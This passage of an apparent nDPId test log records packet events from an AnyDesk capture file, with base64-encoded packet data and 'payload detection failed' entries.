6ovDO6koaEtI2D2rO5ztN9to\/hy5AEOOCwgnKfOrVYxrml8DM25Ysz0X38zW4Qz+G8fq5qUeDUSWUU\/IZSqDcQC8mgi3n5p\/p3YhvfkfrkJ6vJ6nVIZUWJz+bMTfErsyHKmeoj9Msh7Aw8bNmpqeGEZ8xu1teQ+exP9+TZQWquTpbn2wxK+\/5ziA7OY65TsT44gP6mGlwQXUAUkahCLUd7kfyBjIF5qBtrkbgi0KWQKd4ZWhuLu+o1+dEax\/z5uTA3urCjHPw0CaCWul6eJRh3p18p2GsUeY4YB9AMOs6obyiagcUi+oA8XKl0J\/kC\/2EFYc\/HIECCxc1R5p3Gk8JuXKm8r2pNgmzqVHeTbatHsxapPWERfMh+XtO+ldcvlOBTbgmWeBcfYHu\/js8wOgUStGstFxbu2OwXllx7VU5MkxPvRFteV4cLNjNG+Id35MmSnXrcEEbVEy9p5gZyxXyq79oDrnZ7vw8\/SKfhclqXWwkXIN6Akam13SxsIVdOq6NRuhb01xYXSgIxM7\/qsEwNyCKMzME+EsFyX75nzo4KlkLJdg1M+SYi8T9Ap2MqlAfzWI\/v2YvtEkM0hvK5LqtBgjXdhrrI0roG4RmfJlj+Ll72KiZd+UDQij1bY4IJW4KPauCJZxtpa2lYjenAgTHYgVFVhcxwH6E2QRwdKyyOCSg8BGs+6dP40kQS1hBBfHQsZjaJFUIaEDwoxe8AsdTjTJMdJ+GmcOB2KxLQXTaPKW6EcRL9RPDlWxhV+b5B2wd2Xe7ELG4B8qwKMuIQSfGNkahaIGKLVDksKlHnHebxupiKOsN4L5M5MukkAhKJbldgHZVeYxLih\/FbNPzwMXZ6WJV2P3OausnccFHvzYhRmiN2BsLGpyEh7aonio8QblciYgEQett8fFtbOAKB5idHPPMJme3uSPo25PTlsI4AO8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":41,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3946} +05980{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":724668,"pkt_caplen":4192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4192,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdnJAAIAGAADAqAG7wKgBstOUG56PGJQIWcP+aVAYA\/6ExAAAFwMDECVZ4hNO+msUprQQcKaCL\/3yGBAWoUYj64f9cTm86oqZu745SoKxxsuQYAO9mkE+kl3WZU56JyXpeD9Q9dkKY0\/k9HglokoqwD\/PKaeQXGQHDlze3UWZzWX7M3YkbrfXVo9B0XdYNyc1YoVAh1u2fzDxKlINbPfkWoHUMQ8nZIKb6NX\/JxvJt+ZV3z9tNmFDuZ2fKebgx+e+GXzUtLy6s80d0KnKzKguedS\/qqCb+izZscPNxegEW+hE3Fkg7uLTrb5VrOunHlTG+RsEq5B06+8BAo1WgmecznEJtQTnySFeKMQuGFltd7jXYfe\/onB6c7qS1Y79roVLvgSrACtJdJzSr1kWN0UMKLfd08WSUcLbDWPj\/pOjgcmroMSY1Hj7A087KqBIwzPBy2q93CgrnT4HGi4SyaOA\/s958H\/QDZsP\/c3SVYfUxbGFZxwkZxb0DZ9PaVrM8pQ6wBt2NnmsJ\/TJYu3vbCF2mct7AEWW59oLz4c5NEj4rcoY2vmRtaex\/qdpOD6NJXj5pzzu13oUmsxbDxAuQVoyLMQts0w1XSSX9JEWzqVxMQiWJTLz7tnGyC6XC8JeNzutQTlWAQ4Y8q\/VE6YRcgmQehn0Y22BVHZUt3+5kvy7RkmOgRho0xOMGkVCiGszRMuirOFeZvH6wWbLe+Fqj8Mi41Rmi4hce2LXdbh\/nnI+N\/M6LYeTfPpUhZlkDiindRksMlMqNGHRRKo5DXuCgeOhv61elHVCGu2CZbNyUaBb5DSafomMamhLQJShqN6BSJCQMF+WqcTmhrMW9ZJWPgO3bdvXm7PJM3OecPj5zhu3pohdn3NDRHh3PdNbz7zOgSGyDx+ahpDteCKVu50k\/yZTlvDshm\/YyFbn\/\/bMGVsNnRvRpJ98A93CU1UaSTt6hnIBuvkBIbWCyoMWo4peilViV4YoIcTGJfxkhiQRhr\/oPHRvHxl6aKgAh16e1JrhFkxWTIb0IYO73FqZNEjt61DIqtNhgAeckGVHmpFZkBccd36l56nSXidKhRZCHhScRwXsCp9CnbtM14Esfe89RvdsvHKWQQk1wmym8yLa8+8x4APDEKaMExSaHu4yo06DqC3QKwx0A7qUkDDeX6kSWWFyTapoM313GMCgfwncy+02oxDnPtMInB6+4PjZQmCuuyyargXr+VTCW9GbCaPFbAVsKj7wvvZVu+5JPsIF5cGtz2tekBDhaYgSeKrDHBSLijGLXRMttHI1gjAQqLhAPykbBwb49rWbuHep+CXuOnblyov4Z0CQne\/wPcuE5\/MqkJyidSQI0HYwJ80nOYKCz1oqJBpj5BLzm38nHNix+VBypcYqnGAFpB7kGamJHKyVsjT3myN\/vstVsj6+2qofVEtzr2JzCVp5lRGt3nI56wQ5wn69jyak2oqNqzMsR0mtMjO720o+Hvr\/B3Yat3rmjFTJGKcx9XdI6OXYWfUrYU3lcdVfD9BHqVWnYkxtHpKz\/hWy9PkGwdnlBtmVUiEq2T2rbsXjzRWRJCya8huquQm3tH6V2+LvRLToXFBBvqARAac8bdF\/Dq4o2ZChH9gzIVrnG0TthLqMz7Gh8HnmiGoyLFNX2mEc8TAfE75VcjfQnK+F7sMW\/2j2Emvk6kTizYgztT6xdNM+kOFhmgkqaD9auk7yd3Llix4iCr7rC65yxoozOAtnAE7ugv7ryyE+i4KT9zAadUISewEBm\/LHKh7brKdfShfHv4gkvIqy2yNtvlmmr2nXt3qmhdK+JBkCv+eK+pAnjQEFfoy0EXZxQ6hPQQfANQUqHxlfTqWA1W8HcVpgqAtUABMKyJH68BMn1G4VvonTESCw8lPWd+trvPElME4YhaRe\/13eGmjYPu\/4zPZkHLvkz9wwVa8MNG9vBc8pzX6ms68sBeV\/2q366kDZA9QBeDJLpKZevIJ\/sP5Z4DYWiNdSOjRB1jfWALeE+mL4LHNIfHJ7Z4NzaOS+i9+DcHqapIjAOuMaH7CeT0\/Pce2jAxl9MsfNrjXO4nDba5Rj1wtPlrKEgzNx4I8RJAsUg4\/wSOjJCZz4UZqdxa75zjaXlkOqX8uiV0V73GVvlV0lWe+sOp9xbdFSfaG4TVfe9SZDkN+p0pC2ffTWANXAViChoMw6UhCy1+TZvuJjQshHlS+MicWCcQplbbWuCVDhaK9CyCR03rDKWm58a2iPDRvOaTsud2TP2aCmFDhlWEg4lBQdpTqyH1yo9PTeHLk+9EOu5jVl+04ESOb\/N16YGUovGlc43iQrZI6qZSOWcQKkZOu9dbYynxBZfbRu682xdxK\/zH5VIl+uv7FXg0up65DfvJfHWDjz4SKxOoYB4k\/jJgzDQA7yZhJbvxKFLcBP87hDhl3LE+7BEGakOCaw5bkYPN1j5zKMbBj8kfDr3jGr6HrDqCOxtbDg3wQ3MvH59CFwPoZNNk0\/wFxfaJ+sqIM9wQqSJU9W6Iloo5cren5bpayTyUp3Wci0uOoXMteqlZWBI7uEw2k7d+cwi2NJOxbZGdWLHQkdfqHykoXc6BNB69Tp\/7sbE3u6vKOtJvtq\/PvRAxIB7xYJMOZ0aAsu1leVcgg2bXBcVgXv1xihW98mC0nor7WMN5VnPeZ2tm8ZFAK9T9SCDrXxLLDajbpm\/KEcFva8k4cWUtVh6TQPnflts93Z+jyJuM7XYJFHhkKt8RsLCMQ58SISszntDBI+KDmDTpq1qnp7L7DF57PRhbjRLV6ZzW83Jyfo52HzZrzID2A+H4W2xXqJfnWhHT+0f64dmfezHIwfYc31Ff3lQvNOP2JmgEcu1xxlrZ7cj3vAiIrSmhGYJjJb3IGCsfpjeQVpkdTnXJfECE9pFmC8WNuu0xIhcGpbMwAH9FyJEKxYwSCJOBrRwe5xEq61Mk1xrMYVUiusla8COC7gSALtvRXgzba+n+pOse25W4FCEPSotEZyJYm+ZoB94aexu0En9VvCHkr6Bn1kaxQKXkShW+rSVBp8VZCGWZJ5u3E\/v6brFMy5iqhgAHhAIhKRgtmiMgu79drOIsylnBhzE14f\/octGhZkcmqRzN664TfbYCFx8ZB40bGeunML+jrox4HD+f1e9MRdNCZsa\/QKt0gnrEZ7VvIWS0X6u3NVtU\/bHVpmXEEjBilRP67uCI2QAsIjeqK5P3Aywn2mKPyYmiAM9Fuj7fiieYtzZJXCemq3Z54S4KgGjrl3RN1eFKyhLt4UhkB\/voYMQuEDQ0VMp\/7fjZDcrBbsAYAVi\/\/h2i5VFSc22QzmlJKwGg75jJKCtv2BY9UqbpKVARo6wLtF02JNfBoAF4dG7KYqqqJ4aANpjVvzAilQr3\/i\/YLyvuIJkcLcvVLjTPmigaZLFvgdR2BzziOOgyz+rWELhTiZO3O4cvQwDeoGl2VXTV2K6O66nEvnOZs3EO+Rn\/muWs0BvGC5xBpCJiC7We7I2k99BcJHFtlyMJvAIHUIa73dUIOw\/f4gIHxuoGntDGvJhlgvl6RFZmOG+url3+cIzZV4uGJzL5U9MGukmO3qu+C9RsWTrPw\/V4IF0dT8F5\/SUIyiUQn+n4YjtcPn+6aKl43nhmyJCVyvXQtKWk\/mW1GRQRDtOZPbNIViztVETsrfUUSxN95cVPNw1O7eYWi8yCEoLqSREzknZUhgukEfux1h+C4gNWTRiQWaFCY24MKbevWZPfVPKTYIaHusksoNAA7JOEVpVD+hgEla+xn6+w8qS+dRIEa5EJThv\/wYA2hoEzxzwzt\/WKYQVYoY7QC3dw\/aJC6kFV1rW4HPKOQIVQ0WRur3rJzV7cqzPxCAkBQaJNgrP2RYDTEW7a54Ew2BJV7tG27Cv32v8s\/3gwS3ohqFDURP6Zw+ocRcxr8BMI9Az2dqkTJRCrPdubEjy5dGt1K+6bYBejmy18n8HKpKVNffGlqlfaJ70g7w2kYNkUNyoHvPvdK9gp34XV3LJGFi9dTmcdNENQCw94Ftwhn0CLlJEXW9EnfiffZnPJIlev5GAeCQD1+4fgeeS9W8m3VAso6ewPJfBt+xi+LI9j2VjL3H4PXm1d9aVa1FXjVep0uWM9bKdprw6BM0liZaHLKkVHCFcwlsj4kpg\/nvhgsiy4WGOSaKDtNpANBj+bmE8GiRm9CYgEmx5ulTEBvQna1YSQnDxITBSVbC5sYXnOvdUurfH2V+M\/ovvhaTaC7BLTOYK\/DmIQZwFzlpHuchBVOM0dZeSZ2oM7frLsnqqx6ZnNgrpSotYTMtFnxqL+CsfLSCZHGwVdTtBQ6VZeXX3Ke1YnJgeMuINTx8EdGbMT2Gjcy2NAO7JeEP5BD53QX3KPVqP8nTsRQm8KhtFHJQhOZHZGUa4WTjbPEZR+LIGxIxdDGA8A\/+CtvQST2MyyLsB9o8A\/lDjsDRsd2rw6wIq\/xsbNjc2Tpb1u1tbCWpmGUHbsnK6gH8btF+nStO0OMW2hgzOhMFzzmcmZFf5EZbyqonDxHWUejhuXVqlVO3Wkguxmy5MWy0q1HWPa2\/Bmk\/eeduKDzyIbQVIuw\/eSMmG3usQ5ywpqfYGiXHTGsEDke+p28IG0b4jXxxmkpHXxVuN88OHDDfZbBMmU3YIUQSAxSTlfEkSjNBlV4XzAsdoYaiZewSWBGaonP0l7AJZKwlUBRHA9I9Cf44lLDcMG0F6e6ibHSfb30U+Ma8fKc9GX0hpMSVWvnu86dyPsnA+8GYg2Gw516MasDvNv4bAXzm6TheUfHO2p0TEvCE8yK5KTSq6XbTtRcCtpuZwxeEtfaQuefZH\/gGTPDg9XnLrxZGFwKiI70AMN6ud+p0pIgHQ3X3LIoMWHfbj\/Yh3hVi2Whr5vTyfhL71AECyG35auHZMTXMjl\/D4NEj+t+w0kat4W4GuE+tsm7ybUL+V4lTfC7odPRD\/0a0bEkC0TUkihprWUyaQRzAXiYMAmf8JzVm\/zGFbzBZFcCKBSOcf6cjO0SLVwcS78tbxNYlWRzVyrpJawM71C3Pc\/VrySmGIaFr18cRBQEyq2XKLHfR7cnMdcIGCOAEYcidqXcnPvS7r2wBwcU3RXoKnCBq3dnrVlq7kJS7Fk6vjCQX50PmIi0wXdzsHBsC3oeGZmpq4GV\/KBDq3xv2Y5UCt\/3OykZXEZ2p72Dv9pWRjXpAP+ugytg0DqcahOkcwQua19WVcoTvJtZAdb\/ySWYpKHc9rU650iXz+87h5gsYvH7\/qlRPUSzQH4qUTdc1gN1Zj2sp0WCwQziq77v5frBJ9CwPRZBWYf+1VG0gBiHxSBmkNwfKkgh40c9vgXkPn4k+ISkqyzSc4ZJO2oSnHQD4PQr4vQAyjnySF5yx7puR9RNBBA+z9iHLbuilG\/WmezQ236+R6m3tYZAroi4IQz9xPjW\/Wf+i2JFZ155jnPBC41drFwyzHBw5tnEfjhXTEH3kgTxfnxyIp7wz\/Xs61VrXWL7kt9aPCARKkryHxsEDG755drDbrKwXri6PL\/mtmebFDabwfGiNKSSiLalsX7CU59fFMG6A+B++Jzafj\/+8hZCqyp7QLw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":66,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4158} +05988{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":724715,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdnVAAIAGAADAqAG7wKgBstOUG56PGKQyWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUpxJBhyptjvi2b6YeZLWghePrrdkt8prUr\/OkFxK0AmtAFbM6qWVREfft\/DONRUleaaFcQeDaBFaXCwlR58zxKbpWDDN5I0Y17UqNExHogQ\/\/ue7tVd3RajzIL89zz6dAUV13QmC50A8\/a8YCOfHPrtVtSsG0B2oeDMuEv9fDRM+V+7ZYM2h3zRPzz7pshLtWfvZNzg4WB8jJ3wk39D3N\/kyytrfrWasak+SL+R5eg0zbM+BOA+bqpHz805EsciAIz5CMDoZ1+lYO26+j0iR3RgueuefYQVMjrAERYCw+Vi6yAsNZQRRq1Ca4WrmwHm7cLfXOhS94Iq76AMlxh2MrvTyIAbPoa2LuqlgDRF7Mb46dVKUJNf3aO7lQm6aFLrdaLQpEBBnwHi4UleombeCk10LyFRC2oBb66lFe+AIygPt9Tgm7F+FIbxaA+5Se+fy01xNT1MLTlXKBTw1NAstcFL3edb1r6yoSQHMtCctGLdFs3ehnOEyh9hIXizw02nWfR\/JaQL9nCYVLb8xdU16gpG0JS9jIqDribg8E43z1VeKbChUvilHoLP2LE0UT97xHSb0hfPFd5hkjubza6qE7TvtAncgh7AoxQEgw3N\/pGHdEm7RHTekKG9V36ekhVj2grpvazZatS4BBMysSA7gb9XVVu6EI+2VykUNVKGH8\/zlZ6lhLZObq\/hlurk8X\/RzHE9qK8FZOUuyQ3bGatCEJegVADXbwwk+STzgOhCQhwiLZ6ux7VDFAps5iMWurzWnWopd+OHKZYYZytcIQ56PWkp7hldp3okQrlagBWxIZFPmESBMWZ\/H28O2D9a2h8tt5k7bMn\/f7qp7eHkws1ZwYTqjg47kJxWCcSSo5aOnTmYcp\/zzP0CAMBl4xc+unJm99M83fnwsLP8+5Jv\/8k+QkXJrztr8+DmikOU6e87WE1S8KPs\/oZ1f4JbxLLSNdrLPiB8snUizQprHWnNx6zI5crS8B4Tsm\/9G3qfyCiC1r+W0+soNWj\/eUffAbghf2Y0Sxk2TVChGkWCXzLNHbKuCoAHJ7vJQ71mZa9J+xmr03e4Y1Z0TjYXuJNoDErVkx+SJCvycukcWYDaUUPbwmXQjerc94MXhfIZUyqInpQX2JBGFIuIwcHOyxVzQ5nfWSFsJtotpM6Vdr5IRu1qXxtLB8rvLXj8QKncHcBw6WcW8Mx5lbPNg8VLB5t9Rl2E2XEe0UKoZlO75pTkN4qH2BisXlAH0Te7YU+mGDWzizVe1jSe0hIN7knqlP+pDQPOTDgmUOJUhC77PNxjWErFAexOlKs3yIIkTlhYghTW8Hbke7A3pNd0x9w3CKymlkOMkX\/TSeQiwMB5UXrm0EyB3ewxXfcak51pPZNG1vMCtdcCGfuDi\/5W9rhh6ExvSV4a22tS+z8lTVQyncrzHCaiCpXIrWmPSq1ws55lSYaDZo8EoyZWAZxaxu65JZGZOAaTK\/\/MPA\/g7pU9aYRrQr3l9yorm3AJGtn6ryvDy6qmc45S3QXgsITmYAvLFhPw2k3Ouj\/oiSCeJuo+Dx815jZxf6xIWeJz0bq1Sx9gxS89ZHQ3gqc7DuPQNwk5wlh5ELQCmDmtJ9WU0+j4yj+uXDONNCtrDuQHjAXzuMCdC+6NXW\/7WgPLgMITCSsDSG\/koIhyJ+1UWhsCg3OCwxjHettyM0d1sXRI75PIryT0j2VQZqODk4yAEeZFensVoMpRPRvHjUtncFllfex\/vVSwzZ78rxFvdwlFNTL4YYhFx0Z7Oz2kSBNraNxB7QcYW6EQzyif3cdbResIWETbTV55EN6f9raaqc3t3tmxrcDffC2ASa9rQ+LTo99dO2rGuIn6JB0ngq6Xs1TCoArYYHhsvsbAh1yvb3mhwZWySVO4RZo7ecBnFgFllL3xnwgGoODVsvz6iI41WnesnXEMHOxzh6Tz01pqkh5Cq13T2Z93UfA\/Xuj7k+v1tb+sAMiG8L59JhpE5K6BzQDpwarGtAxNnJWP9JliC95FV5RfXyWHs2J3kQjsracNDwM7Exak+Q2Kuz11MJ1\/Mk3JGo9Glx9UkFjYowRhbdsJ3L\/kcH7dH\/pOdBMb5UOwll8F1GmUrimhW9G1Qxo+c3gufvHkPKe9JKU3lnnqxPA3wAjRji5Gj3SKzHL95OgXQXTdx\/uZdnzPwuhr6lQyJYIfoHAvz+yLrdgK0F7OXY0vY+8KjkLT8wUh5sL4+VOF0f0pUT19kIVqV2GOhlQq8A\/SFk8u\/H3Z+Ju5JO9OYL\/\/iLdF+GVbu+iWsljrkzF0ZsFyQ4ss+hytu\/Ftqbfm9SGhapAOqrd7Ae51hzB8pF38KeEeZoqtyd6TnDdM\/YD+f8jeWA\/5kkvIi4G01VwJsN2cCQvr45jZt1Cv1KFYKlqPTVOb9ixkKXC2zOlGvMwO\/TFL2aiNiwyDwcCGOh9q\/n8zpPGNvysFxJeniibJ6PXqCyZR91HxSAgG0jD8NzsKH5sdlM2GyWcoFcvxJ5vMWfHbKcs8TGIxNk3xBeDEEPecGqyYf2WfyneQmW5ufsafoFEiCzjSNDxQsnJReD2UEA8XieqvV0gOJeSIdxZEaiMpmmIwXVH0hu2uADcZw3Z4SV+vFw3tWViYJhnUu4S65WOeD0EhtzX1zPx5ROgHAGUGgPDd4CBQoMY7pBjDY7rtgym0PNSF6mHlGsTUHnLiou0pCpt4G2dYI9ZYsWZrO1pl3DpcxzJ3YCYyEndbWUpOjsYk5fcKzyNiYVv+u\/Ck9V4w6noxz4Q6CdI5G7IBu+6MgilQZw4OhZK6HzUkEHUIAec0WbiaQTBbeElDVpXWJQsHQfg5cfwkY580QBXlWn7emZwF2IBzDE4a9fs2PpohDCtJ07\/yyIM4I9mHZx9xDq9UhF4ugcKV9e+gKmq9lrHWma+gm7um+Xrp7zKLzJHGx9P0U9NHJt9uHB20keUxi9WKrZrKAqtbvg26H\/JJUbW09q3DWJZj2IKcq9Hl5P2W7YCLgDMH3P+BZ6tp2wq\/k4ijzE\/JT\/12OSUALU8i\/6fz10XcjIZuWZhMAdItwDOiou5gsx3iQCDPa\/5JVoOSZmXZpcBCN4KIOQNPFRXHX0TOI+ocG867Upzw3uWCH32MCayxnuitxeJCZaoQjmGSfc0aMeE1uSxa2\/6nwHIJuzlcRxk9Rky9OOTqkfQ0RLeoZfOUyGovspGsi\/g+5F5yDzXtB5wZS0Fs8syH8ujCyjufRDPj3CfuPK8hhDSLolxzZJ6ZdJ5y3AXMDvS19LCFjjIs3x\/4qhK4S+5o4ktRS5qVdnvY9m3gUpouXRgxsJOZRq8d0oZ3L9PgUj1yZAkqoD2K24UD5ebSIfNvsRQ1l7H4hLBDuZbjvun+6zgoTwcbX4jsyjj01TDsaTmm+KUx8b4LsHMUZwgKtgIy+8yJ\/vg0bl\/ljqCaMAYGHMvcIQULQORTk9LcgY1ODbP4amAXBQR+An4RmC8NpmwMxy8cTlYYyd1p8Ub7Kj511O9q+O8zkjwPfeL3liueQ3tXcx9YffBrYCJoJylgMBKt3msGV44YJqJbxfcCn98BAHl\/uTObhJAAjxafXlK0\/mrqJM\/KwaBAJjOjPpLfVO8ksxDlwcPPQVkSBWl4RIVLB\/+zFPSEAmwf2FTzSiRV0NkVGmcIlQJzqjycWT4D0cUDbHDRtP6i+NSWguiZ34JmVcqXTe29X\/uLHg8USuNspDFeQbDF57hmnCjzkXGl2H72C+O1TTEWcJf0xJz\/sYwbg5jRb4wugPN74zP1sCo\/2xRZbNA99mslpaLahJ8xQSvt2u0fg9KjmdrcYlpmPTZ63JO1UYizPuJFF7\/GFrFYO\/0ZR22nv2xPGUGC7LMcnWAQyja3p+6qfjxeUezTufbelcti\/Ki5c1L1+rWjtVwQ9CR2xRC7A2iti36hdNCN3lWSUnlAdb8GWe1W\/F0fonRe86IDulfwXheCGTClltWULBfqdYWkOZPamk746JHj+94bWBjJ1BOcZOkGmdXK4sSAoYnGTTrasbqJqU6SIk3HzKv1vIpDcJnElopfEcjdwl6mG6aNaNRfVJpf0\/Jc8Pwt+goPCCheN8e8DwDGl1m5ZatikXe9LdenX8SZsYmVfumB9RZ7atkXQjCPs2Fimp39vse0IckZZMotEMc2aCt9r3BhvLdzhVuDY18CRtvPOOhU+cCGVLlTk\/Um\/HKktIvYgYLNl\/PBX6gFuHI\/725LThiW65+Ky1RQy4rujUY2ZoxVl90Ey+STD\/yfDZycN3AKMbwdn\/sFOTbHlu04Iad7taFMbzjx8x68jpl8lX7bqOn2PbHBMrbR\/U\/fyoYTHYE4OSQRwPDSuCy7N5WQVJdVshD\/Ks328oWIxf8wdEK+wsLEx9sa+MMbbzP\/lgyJun2STuUOulPVufJG3XSb9cQuy7z8rJu0V1E9MDEFbiRC0QXHSff7XR7z0tgnf5HNhXdmDDJO9zlGtaTT2Z7cJ7AOHevEZd236BiYIgY75SlZashUXy7HaFvb3Q4F\/JSDriZ4rzz8dkkV3u5VoPmoMr8x7vsZkpCshqQzVg+taWBhBhndTaXLQZ+2av3wGYd1MXpl\/kwGfMZyg1DAdfghzNGpLcTIzVAGyt8ToimyIQFhCjNl9gatTZmB1+uD\/X7hSzsCPde\/j6xIGfQkd0jB4Q9jHCnQimrMDtYSd3rB2YqRNh37WixS5bYsMk2JT7EExUS0k1AwGJDCLZRX9Mr1l0\/mslAN9OgjG1o8Y15O3ZS4Le4OyZt6Pa3hUnnVScuYBQDcYVp+gMtefywNOrEF\/MiLj3U5shyvJOWMgCdQ81lHzHe+mWe2XjsguR3WGqo+NI+EDVNUUBRmHSyneXl4PTmMg4muUoyXxx8LmQD42wFK2\/q5b2P6J83t2IL8RFUItQ66xhI0v87efqq6Yx8ywOskz2aDxkRR2UbbLhlPLcDSaJLy\/Di1x6etlVJnkP0KtKJHkIEIWhN3eMV9qiSl7F+cXZbLKceKqyvWKomLG1p7rtd+Bm9gcWdzyRNFbwJQ6+SjJz3gsObBkr8m20wbbEDdq7dEUoGVT6YZdA5z2eSML2EFfkyXVV9Ukd6HIeB\/2xxV+K2iFTzZgrKluolZwgBYEqf9\/BMFOExt89ptAzLVRTQuC\/9aGdpHVimvGFgv4JSY6ow2aj\/4BpTFCGtRGV3JIWqPhWZ4QlDhkceYD0f25\/pmCLKZ4oMt\/YmVH1OrDE3rDBwI5fA5fgHJSgiT32cjtN\/xx0irfAYulaJAvfkUzyzb2o\/FHEl3pG0maIcrF0uc1gn1q6xXbaIbB\/Ol6t9EpGkC8K7IItskmP+CoBB2HG+3hVjMI5eo5m1HvqhdZ4rmoXQnv4lBree52ZfoJatUpY4VurGAu0pQpU4Z7dJdjTA78z4SbW\/A8mMfw+kau0mxdBpiO4Hx1FkPSzVF3KFMrMwF\/fdFrV5A\/tmOK4zOG6YTWoqGDoUHSSB4bbSJYGMbu9ov77JKWjJPSxEVuVudpWhA=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":67,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05985{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":724734,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdnhAAIAGAADAqAG7wKgBstOUG56PGLRZWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUqFDoVCxm0YDaH5tGUNJhCoygv3aDoYyyURQC5cvzA9Pck0MNXxsjW8ByO3yoRUgOmuTjEgVm+ErUY1WT0i3yw2VdNXq49csYKlWMeU\/B+4ljtph3LyOHdZ68vIOl9pPexqidtF+goIquHDuB028qMjLLh5R3rzWU6PLsnlXs\/LnEdABVniWmVh58+d\/rsuHne+6FTC2439XEuxOuIZhtYWntW8pnKkDk99mEpDXpgJZANUeDNhYBoYE87bAzYbaZCyz0hTtBkeivO8e8JiKAdJK+vDIjEs6t8zxEK0RfdkVoPbMhpP7Fg\/ncn8qlDDor3bUU+1yTyO9xziOG09gDhaJ39lEAWHgWjcFCi+fGOsH0lnUQyN8oF0EsI2a\/6ljUcTCQZmJJ6pQu12rEOQ8ZlJXXtUgPl5mC2CBmFAwTlab4vQigYxNQTHwrA8W+d+qT2o4v\/RSNaJLfpTD3AmFL9geXnYGj7dbucVFeGzRMobG0MJUD9X9z2msh5A\/aEY5qRoKTvpWT\/5DMG4T+9kVzos34xfrAj8xXBqsC+SwAXS+\/pPXh\/2UIc4rzfE1Va0feI97Hmea3G5Prpy6mPjdISCEY6QbsC6n31qzJNfXf1rpL9axuhSxm\/PpsNrNgIIErSR+n13L6R31K9cwU295NWTV4MIt7Mxxoo2PQqzlhijgoW7qm7tweyKc4Sw2E3NsWscUyn\/yMC4s4Xb+e\/crXvryRL8B0ey47UAubDk\/Hl1VN5YMeFjSLLFHe7ckr54119LlKVlJLZgXLg86jv3vUiqvv1BmHXfxQuEtIZb6GGdCkMHI30x89DZ71pXbOtrjnbNvIM5pDKS6aBDYDSMOqwifuIrQuvDbzhu7mp1T0g62JO0J3xgRNMGovUwsUhonUzwx2X0yrTRpjLzsIyQuugUgRPCNKDly7eHakJA2J+zmgDp5cNxzy8ykBUr\/oGGh1r1GJYWHl9l0U\/6U1U3harT7cTZBM3T459\/56fVdhE3AAUt+BciONN5P+TeYlaNm2J\/xI679N\/Ht78akZm5RmEIWzoS1JNpX1gge3jEZnFR8E82RjKxvNhXmkpg5GZNpjRpJ23eCSKNyE5HiWkhjmYQLAQPGTpObxcA+0PM2uIzJM3Fgv8EPPtV2ppfU98NUXwtA2f\/7XyaRk8xf4NnmHJ+CVVB27vnpPPu\/2FVXTkZsDpz\/ATseDctz7b\/MPVqhkjQUhl6CVX+QgdTMB5AKCPYF89TH5AzCXGdYmRXF2MNpkdrQN\/Q3utAOE9gIcP5AIutUMUeepRhqH3Dd5SGNm+0eSqH3NpNY+paqjTzEiXnXQ5ZetdFscXY50x9p0HrqiqVEQmp2H1B8a5fBM61YRma3MhXZSutbc+\/wSpDMa9IfWoF\/s8ogICQwq4VH80AAGJp8FGwkIgGVlz8FT4fsjaBMEyoLvdI\/onNEnF6OBSLpSyHPwMc85yMv1wMZoMqx3Nj1tXhaZNbPD5cv1XTFDa6HPX7RvedmTJiNdY2rnblvV8t8m0X6B2k43\/Mfsw4xd1ZvCCeT5Vuxj60l0FVxXwQ+B6bBkCsYjCXJ2g4nCwW3oNtedA9EeuTL8bxpb1O\/xcJmrprsDVBeai8EErniTH\/1kll6mfhX+2\/CXUwsbexa1fov4Lj62eIix3Svuys0S+yfWa2rHYEcqZW6J1MyyzAmOFUP8yvYSIRqaVVJoPb+9mBbW+4cEfuwlfdqbq3WU2CCiN\/\/arX8kHYVHNSpJ+bj57K1DWnIaPLomhiSe1W+RKELWYR6LYwdUF2BljibJzmBk39tNFzraV4OKoLW07PvzqJOUGKk\/V27XNfBaIL23Dfs98uW6ca6T\/JfAwSyJ1s2Xg8TSd+fkUHKRyCQyXSjwzKlgRnsZH4D3itUx6gbMLwx9DXgH2COOUYLl0YjhPP4VCdpihjo\/eTjdOtOnWChTgcJcWnQCmL8nio2MT4td\/ivQNncZAwXOR5ftxxNmgfhrnEGbCgP4ehtegLHRS4jN3NMQJjIqLpAl399W+91oVCpDUUTloXfJ4HSupfgKN1h+NNXEWFqzB1HfP7exqBJ+HXzSO6hEs7wVV9yoNLAlKZ0aY+ceZlF7LLL1J0L92MQasZcQeKbwLskmUEj227fu4idoxhiLvdPZOrdjbCoRQrWMzqn+7tBL1UT3FBC1zFzN5x9gZ\/xTpsED0dpZ6YLULnblS0KEY0X6RzEu+Lj8ZoNysHd\/BQFLgyQ1QOlrqzwc+hTcdJSPAjj4KSwycMm\/aMdzJlXP6WRYOQORVet3\/wn2uCILd4N9cR40RXGILkNm2iPeiDaR7Vz+nyMYa3bBaIP+AsNTSbhsmbetNVefubtuOK+fKbAy+cCVQTL24ICG3oRz8up0dWZRkU\/mbH54i5juycxEENVHEZxGCV\/luVc\/cFihBx4FHmKKxpxcJFRK58pKnB